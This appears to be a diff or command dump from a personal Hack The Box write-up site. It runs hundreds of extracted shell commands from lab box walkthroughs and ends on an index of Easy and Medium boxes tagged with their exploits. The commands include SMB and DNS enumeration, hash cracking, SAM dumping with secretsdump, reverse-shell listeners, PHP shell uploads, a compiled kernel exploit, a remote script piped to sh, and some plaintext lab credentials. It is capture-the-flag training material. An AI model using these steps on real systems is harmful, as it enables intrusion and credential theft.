Friendzone/creds.txt + Easy/28.html:→ cd Friendzone + Easy/28.html:→ cat creds.txt + Easy/28.html: → nmap 10.10.10.123 --script smb-enum-shares + Easy/28.html: λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → pacman -S blackarch/python2-dnsknife + Easy/28.html: λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → dig axfr @10.10.10.123 friendzone.red + Easy/28.html: λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → smbclient -H //10.10.10.123/Development + Easy/28.html:λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → nc -lvnp 9001 + Easy/28.html: λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → nc -lvnp 9001 + Easy/36.html: → nmap -F 10.10.10.149 + Easy/36.html: → nmap -sCV -p80,135,445 10.10.10.149 + Easy/36.html: → git clone https://github.com/theevilbit/ciscot7 + Easy/36.html: → cd ciscot7 + Easy/36.html: → ls [21af318] + Easy/36.html: → python ciscot7.py -p 0242114B0E143F015F5D1E161713 [21af318] + Easy/36.html: → python ciscot7.py -p 02375012182C1A1D751618034F36415408 [21af318] + Easy/36.html: → echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' >> cis.md5 [21af318] + Easy/36.html: → cat cis.md5 [21af318] + Easy/36.html: → hashcat -m 500 [21af318] + Easy/36.html: → hashcat -m 500 cis.md5 /usr/share/wordlists/rockyou.txt [21af318] + Easy/36.html:→ nano users.txt + Easy/36.html:→ nano pass.txt + Easy/36.html:→ crackmapexec smb 10.10.10.149 -u users.txt -p pass.txt + Easy/36.html: → msfdb init + Easy/36.html: → msfconsole + Easy/36.html:→ locate psexec.py + Easy/36.html:→ cd /usr/share/doc/python3-impacket/examples/ + Easy/36.html:→ ls + Easy/36.html:→ python3 lookupsid.py 'hazard:stealth1agent'@10.10.10.149 + Easy/36.html: → python3 lookupsid.py 'hazard:stealth1agent'@10.10.10.149 + Easy/36.html: → crackmapexec smb 10.10.10.149 -u users.txt -p pass.txt + Easy/36.html: → git clone https://github.com/Hackplayers/evil-winrm + Easy/36.html: → cd evil-winrm + Easy/36.html: → cat Gemfile [e501272] + Easy/36.html: → gem install winrm winrm-fs stringio [e501272] + Easy/36.html: → sudo !! [e501272] + Easy/36.html: → sudo gem install winrm winrm-fs stringio [e501272] + Easy/36.html: → ruby evil-winrm.rb -u chase -p 'Q4)sJu\Y8qz*A3?d' -i 10.10.10.149 [e501272] + Easy/36.html: → wget https://download.sysinternals.com/files/SysinternalsSuite.zip + Easy/36.html: → mv ~/Downloads/SysinternalsSuite.zip . + Easy/36.html: → unzip SysinternalsSuite.zip + Easy/36.html: → strings firefox.exe_200218_153036.dmp | grep pass [e501272] + Easy/36.html: → crackmapexec smb 10.10.10.149 -u users.txt -p pass.txt --shares + Easy/36.html:→ python3 psexec.py administrator@10.10.10.149 + Easy/31.html: → nmap -F 10.10.10.134 + Easy/31.html: → nmap -sCV -p22,135,139,445 10.10.10.134 + Easy/31.html: λ root [ 10.10.14.48/23 ] [nihilist/_HTB/] → smbclient -L //10.10.10.134/ -U "" + Easy/31.html: → smbclient //10.10.10.134/Backups + Easy/31.html: λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bastion] → cat note.txt + Easy/31.html:→ mount -t cifs //10.10.10.134/Backups mount + Easy/31.html:→ ls && cd mount + Easy/31.html:→ ls + Easy/31.html: → smbmap -u nihilist -H 10.10.10.134 + Easy/31.html: → ls + Easy/31.html: → ls + Easy/31.html: → du -hs WindowsImageBackup + Easy/31.html: → cd WindowsImageBackup + Easy/31.html: → cd L4mpje-PC + Easy/31.html: → ls + Easy/31.html: → cd Backup\ 2019-02-22\ 124351 + Easy/31.html: → du -hs * + Easy/31.html: → guestmount + Easy/31.html: → apt install libguestfs-tools && guestmount --help + Easy/31.html: → mkdir /home/nihilist/_HTB/Bastion/vhd + Easy/31.html: → guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro -v /home/nihilist/_HTB/Bastion/vhd + Easy/31.html: → cd /home/nihilist/_HTB/Bastion + Easy/31.html: → cd vhd + Easy/31.html: → ls + Easy/31.html:→ find Desktop Documents Downloads -ls + Easy/31.html: → cd ../.. + Easy/31.html: → cd Windows/System32/config + Easy/31.html: → ls + Easy/31.html: → cp SAM SYSTEM /home/nihilist/_HTB/Bastion + Easy/31.html: → cd ../../../.. + Easy/31.html: → ls + Easy/31.html: → file SAM SYSTEM + Easy/31.html: → mkdir backup && mv SAM backup/ && mv SYSTEM backup/ + Easy/31.html: → cd backup + Easy/31.html: → ls + Easy/31.html: → impacket-secretsdump -sam SAM -system SYSTEM local + Easy/31.html:→ smbmap -u L4mpje -p aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9 -H 10.10.10.134 + Easy/31.html:→ ssh L4mpje@10.10.10.134 + Easy/31.html: → cd vhd + Easy/31.html: → ls + Easy/31.html: → cd Windows/System32/config + Easy/31.html: → ls -lash | grep SAM + Easy/31.html: → ls -lash | grep SYSTEM + Easy/31.html: → cd ../../.. + Easy/31.html: → cd .. + Easy/31.html: → curl -sk https://raw.githubusercontent.com/411Hall/JAWS/master/jaws-enum.ps1 > jaws-enum.ps1 + Easy/31.html: → ifconfig | grep inet + Easy/31.html: → python -m SimpleHTTPServer 8080 + Easy/31.html:→ curl -sk https://raw.githubusercontent.com/haseebT/mRemoteNG-Decrypt/master/mremoteng_decrypt.py > mremoteng.py + Easy/31.html:→ python3 mremoteng.py + Easy/31.html: → python3 mremoteng.py -s yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB + Easy/31.html: → python3 mremoteng.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw== + Easy/31.html:→ ssh Administrator@10.10.10.134 + Easy/31.html: → ssh Administrator@10.10.10.134 + Easy/15.html: λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.68 + Easy/15.html: λ nihilist [ 10.10.14.48/23 ] [~] → dirb http://10.10.10.68/ + Easy/15.html:λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → nano rev.php + Easy/15.html:λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → cat rev.php + Easy/15.html:λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → python2 -m SimpleHTTPServer 80 + Easy/15.html: λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → nc -lvnp 9001 + Easy/15.html: λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bashed] → curl -vsk http://10.10.10.68/uploads/rev.php + Easy/15.html: λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → nc -lvnp 9001 + Easy/15.html: λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bashed] → searchsploit kernel 4.4 + Easy/15.html: λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bashed] → locate 44298.c + Easy/15.html:λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bashed] → cp /usr/share/exploitdb/exploits/linux/local/44298.c . + Easy/15.html:λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bashed] → gcc -o 44298 -m64 44298.c + Easy/15.html:λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → ls + Easy/15.html:λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → python2 -m SimpleHTTPServer 80 + Easy/22.html: → nmap 10.10.10.98 -F + Easy/22.html:→ nmap -sCV 10.10.10.98 + Easy/22.html:→ ftp 10.10.10.98 + Easy/22.html:→ 7z x Access\ Control.zip + Easy/22.html:→ ls + Easy/22.html:→ file backup.mdb + Easy/22.html: → 7z x Access\ Control.zip -paccess4u@security + Easy/22.html: → ls + Easy/22.html: → file Access\ Control.pst + Easy/22.html: λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Access] → telnet 10.10.10.98 + Easy/16.html: λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.75 + Easy/16.html: λ nihilist [ 10.10.14.48/23 ] [~] → curl -vsk http://10.10.10.75/ + Easy/16.html: λ nihilist [ 10.10.14.48/23 ] [~] → dirb http://10.10.10.75/nibbleblog/ + Easy/16.html:λ nihilist [ 10.10.14.48/23 ] [~] → searchsploit Nibbleblog 4.0.3 + Easy/16.html: λ nihilist [ 10.10.14.48/23 ] [~] → msfconsole + Easy/33.html: → nmap -F 10.10.10.138 + Easy/33.html:→ nmap -sCV -p80 10.10.10.138 + Easy/33.html: → echo '10.10.10.138 writeup.htb' >> /etc/hosts + Easy/33.html: → curl -sk http://writeup.htb/ + Easy/33.html: → dirsearch -u http://writeup.htb/ -e txt,php,html,js -t 50 + Easy/33.html: → dirsearch -u http://writeup.htb/ -e txt,php,html,js -t 50 + Easy/33.html: → nikto -h http://10.10.10.138/ + Easy/33.html: → curl -sk http://10.10.10.138/robots.txt + Easy/33.html: → curl -sk http://10.10.10.138/writeup/ | grep CMS + Easy/33.html:→ searchsploit CMS Made Simple | grep Injection + Easy/33.html:→ locate 46635.py + Easy/33.html:→ cp /usr/share/exploitdb/exploits/php/webapps/46635.py . + Easy/33.html:→ nano 46635.py + Easy/33.html:→ python 46635.py -u http://10.10.10.138/writeup --crack -w /usr/share/wordlists/rockyou.txt + Easy/33.html: → ssh jkr@writeup.htb + Easy/33.html:→ cat nihilist.py + Easy/33.html:→ python -m SimpleHTTPServer 8080 + Easy/33.html:→ nc -lvnp 1234 + Easy/33.html: → ssh jkr@10.10.10.138 + Easy/33.html:→ nc -lvnp 1234 + Easy/35.html: → nmap -F 10.10.10.147 --top-ports 10000 -vvv + Easy/35.html: → nmap -sCV -p22,80,1337 10.10.10.147 + Easy/35.html: → nikto -h http://10.10.10.147/ + Easy/35.html: → dirsearch -u http://10.10.10.147/ -e php,html,txt,js + Easy/35.html: → ls + Easy/35.html: → file myapp + Easy/35.html: → chmod +x myapp + Easy/35.html: → gdb ./myapp + Easy/35.html:→ wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh + Easy/35.html:→ gdb -q myapp + Easy/35.html:$rcx : 0x00007ffff7edc904 → 0x5477fffff0003d48 ("H="?) + Easy/35.html:$rdx : 0x00007ffff7fad580 → 0x0000000000000000 + Easy/35.html:$rsp : 0x00007fffffffe438 → "AAAAAAAA" + Easy/35.html:$rsi : 0x00000000004052a0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" + Easy/35.html:$rip : 0x00000000004011ac → <****main+77> ret + Easy/35.html:$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp + Easy/35.html:$r13 : 0x00007fffffffe510 → 0x0000000000000001 + Easy/35.html:0x00007fffffffe448│+0x0010: 0x00007fffffffe518 → 0x00007fffffffe774 → "/home/nihilist/_HTB/Safe/Ghidra/myapp" + Easy/35.html:0x00007fffffffe458│+0x0020: 0x000000000040115f → <****main+0> push rbp + Easy/35.html:0x00007fffffffe470│+0x0038: 0x0000000000401070 → <_start+0> xor ebp, ebp + Easy/35.html: → 0x4011ac <****main+77> ret + Easy/35.html:[#0] 0x4011ac → main() + Easy/35.html:$rcx : 0x00007ffff7edc904 → 0x5477fffff0003d48 ("H="?) + Easy/35.html:$rdx : 0x00007ffff7fad580 → 0x0000000000000000 + Easy/35.html:$rsp : 0x00007fffffffe438 → "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]" + Easy/35.html:$rsi : 0x00000000004052a0 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]" + Easy/35.html:$rip : 0x00000000004011ac → <****main+77> ret + Easy/35.html:$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp + Easy/35.html:$r13 : 0x00007fffffffe510 → 0x0000000000000001 + Easy/35.html: → 0x4011ac <****main+77> ret + Easy/35.html:[#0] 0x4011ac → main() + Easy/35.html:$rcx : 0x00007ffff7edc904 → 0x5477fffff0003d48 ("H="?) + Easy/35.html:$rdx : 0x00007ffff7fad580 → 0x0000000000000000 + Easy/35.html:$rsp : 0x00007fffffffe438 → "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]" + Easy/35.html:$rsi : 0x00000000004052a0 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]" + Easy/35.html:$rip : 0x00000000004011ac → <****main+77> ret + Easy/35.html:$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp + Easy/35.html:$r13 : 0x00007fffffffe510 → 0x0000000000000001 + Easy/35.html: → python -c 'print "X"*128 + "Y"*8 + "Z"*8' + Easy/35.html: $rcx : 0x00007ffff7edc904 → 0x5477fffff0003d48 ("H="?) + Easy/35.html: $rdx : 0x00007ffff7fad580 → 0x0000000000000000 + Easy/35.html: $rsp : 0x00007fffffffe438 → "XXXXXXXXYYYYYYYYZZZZZZZZ" + Easy/35.html: $rsi : 0x00000000004052a0 → "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]" + Easy/35.html: $rip : 0x00000000004011ac → <****main+77> ret + Easy/35.html: $r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp + Easy/35.html: $r13 : 0x00007fffffffe510 → 0x0000000000000001 + Easy/35.html:→ nano exploit.py + Easy/35.html: $rsp : 0x00007fff98990520 → 0x0000000000000001 + Easy/35.html: $rip : 0x00007fd2a202e090 → <_start+0> mov rdi, rsp + Easy/35.html: 0x00007fff98990528│+0x0008: 0x00007fff98992748 → 0x00707061796d2f2e ("./myapp"?) + Easy/35.html: 0x00007fff98990538│+0x0018: 0x00007fff98992750 → "APPDIR=/tmp/.mount_tmtxDoJV" + Easy/35.html: 0x00007fff98990540│+0x0020: 0x00007fff9899276c → "APPIMAGE=/tmp/tm" + Easy/35.html: 0x00007fff98990548│+0x0028: 0x00007fff9899277d → "COLORTERM=truecolor" + Easy/35.html: 0x00007fff98990550│+0x0030: 0x00007fff98992791 → "DISPLAY=:0.0" + Easy/35.html: 0x00007fff98990558│+0x0038: 0x00007fff9899279e → "HOME=/root" + Easy/35.html: → 0x7fd2a202e090 <_start+0> mov rdi, rsp + Easy/35.html: [#0] 0x7fd2a202e090 → _start() + Easy/35.html: $rax : 0x000000000040115f → <****main+0> push rbp + Easy/35.html: $rcx : 0x00007fd2a2007718 → 0x00007fd2a2009a40 → 0x0000000000000000 + Easy/35.html: $rdx : 0x00007fff98990538 → 0x00007fff98992750 → "APPDIR=/tmp/.mount_tmtxDoJV" + Easy/35.html: $rsp : 0x00007fff98990440 → 0x00000000004011b0 → <__libc_csu_init+0> push r15 + Easy/35.html: $rbp : 0x00007fff98990440 → 0x00000000004011b0 → <__libc_csu_init+0> push r15 + Easy/35.html: $rsi : 0x00007fff98990528 → 0x00007fff98992748 → 0x00707061796d2f2e ("./myapp"?) + Easy/35.html: $rip : 0x0000000000401163 → <****main+4> sub rsp, 0x70 + Easy/35.html: $r8 : 0x00007fd2a2009a50 → 0x0000000000000004 + Easy/35.html: $r9 : 0x00007fd2a203c780 → <_dl_fini+0> push rbp + Easy/35.html: $r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp + Easy/35.html: $r13 : 0x00007fff98990520 → 0x0000000000000001 + Easy/35.html: 0x00007fff98990440│+0x0000: 0x00000000004011b0 → <__libc_csu_init+0> push r15 ← $rsp, $rbp + Easy/35.html: 0x00007fff98990448│+0x0008: 0x00007fd2a1e74bbb → <__libc_start_main+235> mov edi, eax + Easy/35.html: 0x00007fff98990458│+0x0018: 0x00007fff98990528 → 0x00007fff98992748 → 0x00707061796d2f2e ("./myapp"?) + Easy/35.html: 0x00007fff98990468│+0x0028: 0x000000000040115f → <****main+0> push rbp + Easy/35.html: → 0x401163 <****main+4> sub rsp, 0x70 + Easy/35.html: [#0] 0x401163 → main() + Easy/35.html:→ 0x401163 <****main+4> sub rsp, 0x70 + Easy/35.html:→ objdump -D myapp | grep -i system + Easy/35.html: → objdump -D myapp | grep -i test + Easy/35.html: → nano exploit.py + Easy/35.html: → python3 exploit.py + Easy/35.html:→ ssh-keygen -f safe + Easy/35.html:→ chmod 600 safe + Easy/35.html:→ cat safe.pub + Easy/35.html: → scp -i ../Ghidra/safe user@10.10.10.147:MyPasswords.kdbx . + Easy/35.html: → scp -i ../Ghidra/safe user@10.10.10.147:IMG_0547.JPG . + Easy/35.html: → ls + Easy/35.html: → file MyPasswords.kdbx + Easy/35.html: → file IMG_0547.JPG + Easy/35.html:→ /usr/sbin/keepass2john MyPasswords.kdbx | sed "s/MyPasswords/IMG_0547.JPG/g" + Easy/35.html:→ /usr/sbin/keepass2john MyPasswords.kdbx | sed "s/MyPasswords/IMG_0547.JPG/g" > keepass_hash + Easy/35.html: → john -w:/usr/share/wordlists/rockyou.txt keepass_hash + Easy/5.html:**λ nihilist [nihilist/_HTB/Optimum] → nmap -sC -sV 10.10.10.8** + Easy/5.html: **λ root [nihilist/_HTB/Optimum] → nikto -h http://10.10.10.8/** + Easy/5.html: **λ root [nihilist/_HTB/Optimum] → searchsploit rejetto** + Easy/34.html: → nmap -F 10.10.10.115 + Easy/34.html: → nmap -sCV -p22,80 10.10.10.115 + Easy/34.html:→ echo "10.10.10.115 haystack.htb" >> /etc/hosts + Easy/34.html: → dirsearch -u http://10.10.10.115/ -t 50 -e txt,php,html,js + Easy/34.html:→ nikto -h http://haystack.htb/ + Easy/34.html: → curl -sk http://haystack.htb/robots.txt | grep nginx + Easy/34.html: → wget http://haystack.htb/needle.jpg + Easy/34.html: → exiftool needle.jpg + Easy/34.html: → strings needle.jpg + Easy/34.html: → echo "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d + Easy/34.html: → nmap -F 10.10.10.115 --top-ports 10000 -vvv + Easy/34.html: → nmap -sCV -p9200 10.10.10.115 + Easy/34.html: → curl -sk http://haystack.htb:9200 + Easy/34.html: → curl -sk http://haystack.htb:9200/_cat/indices/\?v + Easy/34.html:→ curl -X POST http://haystack.htb:9200/\/_search + Easy/34.html:→ curl -X POST http://haystack.htb:9200/bank/_search + Easy/34.html:→ npm install elasticdump -g + Easy/34.html:→ elasticdump --input=http://10.10.10.115:9200/quotes --output=quotes.json --type=data + Easy/34.html: → cat quotes.json| grep clave + Easy/34.html: → echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d + Easy/34.html: → echo "dXNlcjogc2VjdXJpdHkg" | base64 -d + Easy/34.html: → ssh security@haystack.htb + Easy/34.html:→ nano nihilist.js + Easy/34.html:→ python -m SimpleHTTPServer 8080 + Easy/34.html:→ cat nihilist.js + Easy/34.html:→ nc -lvnp 9001 + Easy/34.html:→ nc -lvnp 9001 + Easy/34.html: → nc -lvnp 9002 + + +`** diff --git a/concept.png b/concept.png new file mode 100644 index 0000000..780e3a4 Binary files /dev/null and b/concept.png differ diff --git a/index.md b/index.md new file mode 100644 index 0000000..bce3244 --- /dev/null +++ b/index.md @@ -0,0 +1,365 @@ +# Offensive Security Writeups (NO LONGER MAINTAINED) + +![](../assets/img/htb.jpg) + +#### [Hack The Box](https://app.hackthebox.eu/home/machines) is an online platform allowing you to test your penetration testing skills and exchange ideas and methodologies with thousands of people in the security field. + +##### Below you will find my personal writeups of the various boxes that can be found on hackthebox.eu, ranked by difficulty. + +![](../assets/img/user.png) nihilist + +##### Hack The Box - Easy Boxes + +[ Template Page ](Easy/0.html) + + 1. [ ✅ - Lame ](Easy/1.html) + 2. [ ✅ - Legacy ](Easy/2.html) + 3. [ ✅ - Devel ](Easy/3.html) + 4. [ ✅ - Beep ](Easy/4.html) + 5. [ ✅ - Optimum ](Easy/5.html) + 6. [ ✅ - Arctic ](Easy/6.html) + 7. [ ✅ - Grandpa ](Easy/7.html) + 8. [ ✅ - Granny ](Easy/8.html) + 9. [ ✅ - Bank ](Easy/9.html) + 10. [ ✅ - Blocky ](Easy/10.html) + 11. [ ✅ - Blue ](Easy/11.html) + 12. [ ✅ - Mirai ](Easy/12.html) + 13. [ ✅ - Shocker ](Easy/13.html) + 14. [ ✅ - Sense ](Easy/14.html) + 15. [ ✅ - Bashed ](Easy/15.html) + 16. [ ✅ - Nibbles ](Easy/16.html) + 17. [ ✅ - Valentine ](Easy/17.html) + 18. [ ✅ - Sunday](Easy/18.html) + 19. [ ✅ - Bounty](Easy/19.html) + 20. [ ✅ - Jerry ](Easy/20.html) + 21. [ ✅ - Active ](Easy/21.html) + 22. [ ✅ - Access ](Easy/22.html) + 23. [ ✅ - Frolic ](Easy/23.html) + 24. [ ✅ - Curling ](Easy/24.html) + 25. [ ✅ - Irked ](Easy/25.html) + 26. [ ✅ - Teacher ](Easy/26.html) + 27. [ ✅ - Help ](Easy/27.html) + 28. [ ✅ - FriendZone ](Easy/28.html) + 29. [ ✅ - Netmon ](Easy/29.html) + 30. [ ✅ - CasaDePapel ](Easy/30.html) + 31. [ ✅ - Bastion ](Easy/31.html) + 32. [ ✅ - SwagShop ](Easy/32.html) + 33. [ ✅ - Writeup ](Easy/33.html) + 34. [ ✅ - Haystack ](Easy/34.html) + 35. [ ✅ - Safe ](Easy/35.html) + 36. [ ✅ - Heist ](Easy/36.html) + 37. [ ✅ - Networked ](Easy/37.html) + 38. [ ✅ - Forest](Easy/38.html) + 39. [ ✅ - Postman](Easy/39.html) + 40. [ ✅ - Traverxec](Easy/40.html) + 41. [ ✅ - OpenAdmin](Easy/41.html) + 42. [ ✅ - Nest](Easy/42.html) + 43. [ ✅ - Traceback](Easy/43.html) + 44. [ ✅ - Remote](Easy/44.html) + 45. [ ✅ - Servmon](Easy/45.html) + 46. [ ✅ - Admirer](Easy/46.html) + 47. [ ✅ - Blunder](Easy/47.html) + 48. [ ✅ - Tabby](Easy/48.html) + 49. [ ✅ - Buff](Easy/49.html) + 50. [ ✅ - Omni](Easy/50.html) + 51. [ ✅ - Doctor](Easy/51.html) + 52. [ ✅ - Academy](Easy/52.html) + 53. [ ✅ - Laboratory](Easy/53.html) + 54. [ ✅ - Luanne](Easy/54.html) + 55. [ ✅ - Delivery](Easy/55.html) + 56. [ ✅ - Toolbox](Easy/56.html) + 57. [ ✅ - Sauna](Easy/57.html) + 58. [ ✅ - ScriptKiddie](Easy/58.html) + 59. [ ✅ - Armageddon](Easy/59.html) + 60. [ ✅ - Spectra](Easy/60.html) + 61. [ ✅ - Love](Easy/61.html) + 62. [ ✅ - Cap](Easy/62.html) + 63. [ ✅ - Knife](Easy/63.html) + 64. [ ✅ - Previse](Easy/64.html) + 65. [ ✅ - Paper](Easy/65.html) + 66. [ ✅ - BountyHunter](Easy/66.html) + 67. [ ✅ - Explore](Easy/67.html) + 68. [ ✅ - Horizontall](Easy/68.html) + 69. [ ✅ - Backdoor](Easy/69.html) + 70. [ ✅ - Driver](Easy/70.html) + + + + * | CVE-2007-2447, vsftpd 2.3.4 + * | ms08_067_netapi RCE + * | Anonymous FTP, ms10_015_kitrap0d + * | Elastix, Webmin, vtiger + * | HttpFileServer 2.3, rejetto, 41020 + * | ColdFusion 8, JRun Web Server + * | IIS 6.0, webdav + * | IIS 6.0, webdav + * | DNS, reverse php shell, root binary + * | Wordpress, jar + * | MS17-010, EternalBlue, Win7 SP1 + * | PiHole + * | ShellShock, 34900 + * | FreeBSD, pfSense + * | PHPBash, kernel 4.4, 44298 + * | NibbleBlog 4.0.3 + * | HeartBleed + * | Solaris, SunOS, fingerd, unshadow, john + * | IIS 7.5, transfer.aspx + * | Tomcat, tomcat_mgr_login, mgr_upload + * | SMB, Kerberoast, gpp encrypt + * | ftp, telnet, pst, mbox, readpst, runas + * | Brainfuck, nginx, ROP exploit + * | Joomla , reverse php + * | UnrealIRCd + * | Moodle, MariaDB, hashes + * | HelpdeskZ, reverse php, 44298 + * | smb, ssl certs, dns + * | ftp, prtg network monitor + * | ssl certs, cron + * | smb, share mounting, vhd, mRemoteNG + * | Magento, lfi, reverse php + * | CMS made Simple, 46635 , reverse py + * | Elasticsearch, json, kibana + * | ROP, ghidra, gef, keepass hashes + * | Cisco pass, smb, sysinternals + * | Reverse php gif, cmd execution + * | BloodHound AD Navigation, Exchange Windows + * | Redis 4.0.x, Webmin 1.910, RCE + * | nostromo 1.9.6, journalctl + * | OpenNetAdmin, nano shell + * | Visual Basic, SMB, telnet + * | Web-Shells, SSH Motd script + * | Umbraco v7.12 ,TeamViewer v7 + * | xc.exe, nsclient++, ftp, winpeas + * | Adminer, MySQL, Python library Hijacking + * | Bludit 3.9.2, SHA1, sudo 1.8.25p1 + * | Tomcat, LFI, lxc container + * | Gym Management RCE, Buffer Overflow + * | Windows IOT, SirepRAT.py, Import-CliXml + * | XML SSTI splunkd RCE + * | PHP Laravel token deserialization, composer + * | Gitlab CE 12.8.1 gitlab-rails, SUID bit + * | NetBSD lua code injection, doas, netpgp + * | OSTicket, Mattermost, hashcat custom list + * | SQL Injection reverse shell, boot2docker + * | LDAP, kerberos, mimikatz, NTLM hash + * | Msfvenom apk exploit, command injection + * | Drupal7, MySQL password hash, Snap GTFOBin + * | .save extension, Wordpress, initctl privesc + * | nishang ps1, AlwaysInstallElevated msi msfvenom + * | pcap, python3.8 cap setuid capabilities + * | php 8.1.0, 49933.py, knife binary + * | auth bypass, code injection + * | Wordpress 5.2.3, CVE-2021-3560 + * | xml poisoning, python poisoning + * | ES File Explorer, adb shell + * | strapi, laravel 8 + * | ebook-download, gdbserver, screen + * | MFP firmware, RICOH_PCL6 + + + +![](../assets/img/user.png) nihilist + +##### Hack The Box - Medium Boxes + +[Template Page](Medium/0.html) + + 1. [ ✅ - Popcorn](Medium/1.html) + 2. [ ✅ - Bastard](Medium/2.html) + 3. [ ✅ - Tenten](Medium/3.html) + 4. [ ✅ - Cronos](Medium/4.html) + 5. [ ✅ - October](Medium/5.html) + 6. [ ✅ - Lazy](Medium/6.html) + 7. [ ✅ - Sneaky](Medium/7.html) + 8. [ ✅ - Haircut](Medium/8.html) + 9. [ ✅ - Europa](Medium/9.html) + 10. [ ✅ - Nineveh](Medium/10.html) + 11. [ ✅ - Apocalyst](Medium/11.html) + 12. [ ✅ - SolidState](Medium/12.html) + 13. [ ✅ - Node](Medium/13.html) + 14. [ ✅ - Enterprise](Medium/14.html) + 15. [ ✅ - Jeeves](Medium/15.html) + 16. [ ✅ - Inception](Medium/16.html) + 17. [ ✅ - FluxCapacitor](Medium/17.html) + 18. [ ✅ - Chatterbox](Medium/18.html) + 19. [ ✅ - Aragog](Medium/19.html) + 20. [ ✅ - Bart](Medium/20.html) + 21. [ ✅ - Stratosphere](Medium/21.html) + 22. [ ✅ - Celestial](Medium/22.html) + 23. [ ✅ - Silo](Medium/23.html) + 24. [ ✅ - Poison](Medium/24.html) + 25. [ ✅ - Canape](Medium/25.html) + 26. [ ✅ - Olympus](Medium/26.html) + 27. [ ✅ - TartarSauce](Medium/27.html) + 28. [ ✅ - DevOops](Medium/28.html) + 29. [ ✅ - Hawk](Medium/29.html) + 30. [ ✅ - Waldo](Medium/30.html) + 31. [ ✅ - SecNotes](Medium/31.html) + 32. [ ✅ - Giddy](Medium/32.html) + 33. [ ✅ - Ypuffy](Medium/33.html) + 34. [ ✅ - Carrier](Medium/34.html) + 35. [ ✅ - Vault](Medium/35.html) + 36. [ ✅ - Redcross](Medium/36.html) + 37. [ ✅ - Lightweight](Medium/37.html) + 38. [ ✅ - Chaos](Medium/38.html) + 39. [ ✅ - Querier](Medium/39.html) + 40. [ ✅ - Arkham](Medium/40.html) + 41. [ ✅ - Unattended](Medium/41.html) + 42. [ ✅ - Luke](Medium/42.html) + 43. [ ✅ - Jarvis](Medium/43.html) + 44. [ ✅ - Craft](Medium/44.html) + 45. [ ✅ - Bitlab](Medium/45.html) + 46. [ ✅ - Wall](Medium/46.html) + 47. [ ✅ - Json](Medium/47.html) + 48. [ ✅ - AI](Medium/48.html) + 49. [ ✅ - Sniper ](Medium/49.html) + 50. [ ✅ - Mango ](Medium/50.html) + 51. [ ✅ - Obscurity](Medium/51.html) + 52. [ ✅ - Monteverde](Medium/52.html) + 53. [ ✅ - Book](Medium/53.html) + 54. [ ✅ - Cascade](Medium/54.html) + 55. [ ✅ - Magic](Medium/55.html) + 56. [ ✅ - Cache](Medium/56.html) + 57. [ ✅ - Fuse](Medium/57.html) + 58. [ ✅ - SneakyMailer](Medium/58.html) + 59. [ ✅ - OpenKeyS](Medium/59.html) + 60. [ ✅ - Worker](Medium/60.html) + 61. [ ✅ - Passage](Medium/61.html) + 62. [ ✅ - Jewel](Medium/62.html) + 63. [ ✅ - Bucket](Medium/63.html) + 64. [ ✅ - Time](Medium/64.html) + 65. [ ✅ - Ready](Medium/65.html) + 66. [ ✅ - Tenet](Medium/66.html) + 67. [ ✅ - Ophiuchi](Medium/67.html) + + + + * | Torrent Hoster + * | Drupal 7 + * | Wordpress + * | php lavarel, sql injection + * | OctoberCMS + * | cookie authentification padding abuse + * | udp snmp ipv6 + * | php rce, GNU screen 4.50 + * | europacorp v0.2b, sqlmap, RCE + * | phpLiteAdmin v1.9, hydra port knocking + * | wordpress, wordlists + * | james smtpd, james pop3d + * | myplace nodejs api, mongodb, binexp + * | php sql inj, joomla, wp, binexp + * | askjeeves, kdbx, rdesktop + * | dompdf, webdav, pivot + * | Fuzzing + * | AChat, Win7 + * | xml-content XXE, wordpress + * | server monitor, simple chat User-Agent + * | OGNL RCE, mysql, python lib hijacking + * | Node.js concatenating deserialization + * | Oracle DB RCE + * | FreeBSD, php LFI + 